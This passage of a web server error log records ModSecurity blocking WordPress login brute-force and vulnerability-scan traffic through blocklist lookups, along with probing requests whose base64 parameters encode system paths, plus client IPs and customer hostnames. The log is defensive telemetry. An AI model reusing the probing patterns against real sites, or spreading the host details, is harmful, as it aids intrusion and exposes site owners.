denied with code 409 (phase 1). RBL lookup of 222.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30utyTkdrNlD40tSHZDgAADS8"] [Sat Jun 13 18:24:26.743000 2026] [security2:error] [pid 715691:tid 715952] [client 159.223.112.69:54548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQsuQAAAXk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.815080 2026] [security2:error] [pid 646876:tid 646932] [remote 17.241.227.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30utyTkdrNlD40tSHZEAAAJjU"] [Sat Jun 13 18:24:26.838088 2026] [security2:error] [pid 646876:tid 647104] [client 172.56.168.133:28634] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30utyTkdrNlD40tSHZEQAAAGA"] [Sat Jun 13 18:24:26.838230 2026] [security2:error] [pid 646876:tid 647104] [client 172.56.168.133:28634] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30utyTkdrNlD40tSHZEQAAAGA"] [Sat Jun 13 18:24:26.938379 2026] [security2:error] [pid 715691:tid 715847] [client 159.223.112.69:54562] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQsxAAAARA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.092811 2026] [security2:error] [pid 715691:tid 715815] [remote 103.143.207.18:50044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cochranlake.org"] [uri "/wp-login.php"] [unique_id "ai30u7V-dFiaX9AtWiQsygABbGg"], referer: https://cochranlake.org/wp-login.php [Sat Jun 13 18:24:27.131748 2026] [security2:error] [pid 646876:tid 647054] [client 159.223.112.69:54570] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30u9yTkdrNlD40tSHZHAAAAC4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.143252 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.107:23731] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:27.143521 2026] [access_compat:error] [pid 715691:tid 715728] [remote 57.141.14.107:23731] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:27.158648 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.84:29680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:27.159089 2026] [access_compat:error] [pid 715691:tid 715739] [remote 57.141.14.84:29680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:27.265718 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:24:27.266221 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:24:27.300996 2026] [core:error] [pid 646876:tid 647012] [client 47.79.206.173:58190] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:24:27.301037 2026] [core:error] [pid 646876:tid 647012] [client 47.79.206.173:58190] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:24:27.324103 2026] [security2:error] [pid 646876:tid 647114] [client 159.223.112.69:54572] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30u9yTkdrNlD40tSHZJgAAAGo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.385725 2026] [security2:error] [pid 646876:tid 647106] [client 192.185.4.177:10798] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "yearlingrv.com"] [uri "/wp-login.php"] [unique_id "ai30u9yTkdrNlD40tSHZJAAAYkU"], referer: https://yearlingrv.com/wp-login.php [Sat Jun 13 18:24:27.480745 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.44:31147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:27.481056 2026] [access_compat:error] [pid 646876:tid 646955] [remote 57.141.14.44:31147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:27.515900 2026] [security2:error] [pid 715691:tid 715913] [client 159.223.112.69:54580] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30u7V-dFiaX9AtWiQs4AAAAVI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.709177 2026] [security2:error] [pid 715691:tid 715888] [client 159.223.112.69:54594] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30u7V-dFiaX9AtWiQs5QAAATk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.790401 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:24:27.790681 2026] [access_compat:error] [pid 646876:tid 646935] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:24:27.828093 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.88:56408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:27.828527 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.88:56408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:27.903722 2026] [security2:error] [pid 715691:tid 715877] [client 159.223.112.69:54596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30u7V-dFiaX9AtWiQs7AAAAS4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:27.945982 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.107:23761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:27.946990 2026] [access_compat:error] [pid 646876:tid 646953] [remote 57.141.14.107:23761] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:28.098117 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:54612] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vLV-dFiaX9AtWiQs8wAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:28.290686 2026] [security2:error] [pid 715691:tid 715961] [client 159.223.112.69:54618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30vLV-dFiaX9AtWiQs_QAAAYI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:28.334983 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvaTgwNDIvc2VyaW8wL2RyaXZlcg== [Sat Jun 13 18:24:28.335266 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvaTgwNDIvc2VyaW8wL2RyaXZlcg== [Sat Jun 13 18:24:28.376992 2026] [security2:error] [pid 715691:tid 715727] [remote 156.67.82.86:41998] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai30vLV-dFiaX9AtWiQtAgABVhE"] [Sat Jun 13 18:24:28.401215 2026] [security2:error] [pid 646876:tid 646899] [remote 17.241.219.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vNyTkdrNlD40tSHZQQAAGRQ"] [Sat Jun 13 18:24:28.518767 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.100:28983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:28.519248 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.100:28983] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:28.637273 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.53:38450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:28.637795 2026] [access_compat:error] [pid 646876:tid 646907] [remote 57.141.14.53:38450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:28.674821 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.2:44517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:28.675250 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.2:44517] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:28.866215 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:28.866479 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:28.936467 2026] [security2:error] [pid 646876:tid 646933] [remote 17.246.15.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vNyTkdrNlD40tSHZXAAAaTY"] [Sat Jun 13 18:24:28.937292 2026] [security2:error] [pid 646876:tid 646892] [remote 17.22.237.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vNyTkdrNlD40tSHZXQAABA0"] [Sat Jun 13 18:24:29.093648 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.72:22773] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:29.094112 2026] [access_compat:error] [pid 715691:tid 715712] [remote 57.141.14.72:22773] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:29.347354 2026] [security2:error] [pid 646876:tid 646971] [remote 37.27.234.213:46678] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai30vdyTkdrNlD40tSHZaAAAblw"] [Sat Jun 13 18:24:29.403420 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:24:29.403713 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:24:29.454818 2026] [security2:error] [pid 715691:tid 715831] [remote 17.241.219.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30vbV-dFiaX9AtWiQtPwABeng"] [Sat Jun 13 18:24:29.471250 2026] [proxy:error] [pid 715691:tid 715717] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:29.471316 2026] [proxy_http:error] [pid 715691:tid 715717] [remote 167.71.103.240:58828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:24:29.471874 2026] [proxy:error] [pid 715691:tid 715717] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:29.471908 2026] [proxy_http:error] [pid 715691:tid 715717] [remote 167.71.103.240:58828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:24:29.743447 2026] [access_compat:error] [pid 715691:tid 715792] [remote 57.141.14.66:31496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:29.743915 2026] [access_compat:error] [pid 715691:tid 715792] [remote 57.141.14.66:31496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:29.775347 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.82:52548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:29.775634 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.82:52548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:29.791510 2026] [security2:error] [pid 646876:tid 646995] [remote 37.27.234.213:46678] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri 